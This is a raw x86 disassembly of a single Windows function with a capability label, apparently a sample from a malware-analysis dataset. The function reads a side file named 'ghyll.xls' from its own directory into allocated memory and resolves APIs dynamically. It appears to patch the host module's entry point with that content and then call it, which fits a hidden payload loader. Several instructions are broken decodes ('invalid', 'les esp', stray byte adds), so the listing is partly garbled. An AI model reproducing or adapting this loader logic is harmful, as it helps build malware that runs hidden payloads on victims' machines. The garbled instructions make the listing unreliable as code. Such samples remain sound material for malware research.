Function at 0x598028ac
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
mov eax, dword [0x598575e8]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [0x598575c4]
push ebx
mov dword [esp], 0x40
mov dword [esp + 4], eax
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov ebx, eax
mov eax, dword [0x598575c4]
push esi
push esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym.madExcept_.bpl___xp_19Madmapfile_TMapFile
mov dword [esp + 8], 0x104
mov dword [esp + 4], ebx
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov ecx, dword [str.ghyll.xls]
xor eax, eax
sub esp, 0xc
cmp word [ebx + eax*2], 0
je 0x59802835
inc eax
jmp 0x5980282b
cmp word [ebx + eax*2 - 2], 0x5c
je 0x59802846
mov word [ebx + eax*2], 0
dec eax
jmp 0x59802835
sub ecx, eax
movsx dx, byte [ecx + eax]
test dl, dl
je 0x59802858
pop es
mov word [ebx + eax*2], dx
inc eax
jmp 0x59802848
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 1
call dword [sym.imp.kernel32.dll_CreateFileW]
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
je 0x59802a5d
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetFileSize]
dec eax
mov byte [0x45895985], al
les esp, [ecx + 0x598575c8]
push ecx
push ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], 0
add byte [ebx - 0x3976ef14], al
lea eax, [ebp - 0x2c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x59802a5d
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [ebp - 0x3c], eax
mov eax, dword [0x598575e4]
add eax, esi
mov ecx, dword [eax + 4]
mov ebx, dword [eax]
invalid
cmp edx, ebx
je 0x59802934
add dword [eax + edx*4 + 8], ecx
inc edx
jmp 0x59802929
mov ebx, dword [0x598575d8]
mov dword [esp], edi
mov edx, dword [sym.imp.kernel32.dll_GetProcAddress]
add ebx, eax
lea eax, [ebx + 1]
mov dword [ebp - 0x44], edx
mov dword [esp + 4], eax
call edx
test eax, eax
push edx
mov dword [ebp - 0x40], eax
push edx
je 0x59802a5d
movsx eax, byte [ebx]
mov dword [esp], edi
mov edx, dword [ebp - 0x44]
add ebx, eax
lea eax, [ebx + 1]
mov dword [esp + 4], eax
call edx
test eax, eax
push ecx
mov dword [ebp - 0x48], eax
push ecx
je 0x59802a5d
movsx edi, byte [ebx]
mov ecx, dword [ebp - 0x40]
add edi, ebx
lea eax, [edi + 1]
mov dword [esp], eax
call ecx
push edx
test eax, eax
je 0x59802a5d
movsx ebx, byte [edi]
mov dword [ebp - 0x28], 0
add esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x48]
add ebx, edi
mov edi, dword [0x598575d4]
mov dword [ebp - 0x3c], esi
mov esi, dword [ebx + 4]
add edi, ebx
mov dword [ebp - 0x40], esi
mov esi, dword [ebx + 8]
lea ecx, [edi + esi]
mov dword [ebp - 0x44], ecx
mov ecx, dword [eax + 0x3c]
add eax, dword [eax + ecx + 0x2c]
lea ecx, [ebp - 0x28]
mov dword [esp + 4], esi
mov dword [esp + 0xc], ecx
mov ebx, eax
mov eax, dword [0x598575d0]
mov dword [esp], ebx
mov dword [esp + 8], eax
call edx
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call fcn.5980279d
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
mov dword [esp], ebx
mov edx, dword [ebp - 0x48]
mov dword [esp + 0xc], ecx
mov dword [esp + 4], esi
mov dword [esp + 8], eax
call edx
add ebx, dword [ebp - 0x40]
xor edx, edx
sub esp, 0x10
mov eax, dword [str.agrimony.ogg]
lea ecx, [edx + edx]
add ecx, dword [ebp - 0x3c]
cmp byte [eax + edx], 0
je 0x59802a40
mov eax, dword [ebp - 0x3c]
mov word [ecx], 0
mov byte [ebp - 0x1c], 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
mov dword [esp], eax
call ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret